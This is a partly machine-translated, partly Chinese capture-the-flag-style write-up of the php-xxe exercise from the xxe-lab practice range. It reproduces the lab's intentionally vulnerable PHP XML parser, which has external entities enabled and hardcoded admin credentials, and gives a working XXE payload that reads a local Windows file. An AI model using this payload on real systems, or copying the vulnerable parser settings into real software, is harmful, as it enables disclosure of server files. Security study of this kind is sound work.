From xxe-lab to study in depth the vulnerability xxe

These days, to review the xxe knowledge, he had to take over a former shooting range have fun, audit the code 2333, shooting range address: https: //github.com/c0ny1/xxe-lab

First, the first exercise is php-xxe:

We grab my bag to look at it.

See the username / password from us are sent to POST form. And much like xml document,

Then began the source audit.

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档

try{
    $dom = new DOMDocument();//创建XML的对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
    $creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档

    $username = $creds->username;//获取username标签的值
    $password = $creds->password;//获取password标签的值

    if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签，不然的话找不到username,就没有了输出了，我们也不能通过回显来获取信息了
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同，都会输出username的值，都可以达到我们的目的
    }    
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

接下来只要有一点点的xxe基础就可以了，目标明确，只要我们构造的payload最后输出在username里面就行了，于是构造

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>Mikasa</password></user>

下面是结果：

emmm,大约就是这样吧。

参考：https://lightless.me/archives/Research-On-XXE.html

From xxe-lab to study in depth the vulnerability xxe

Guess you like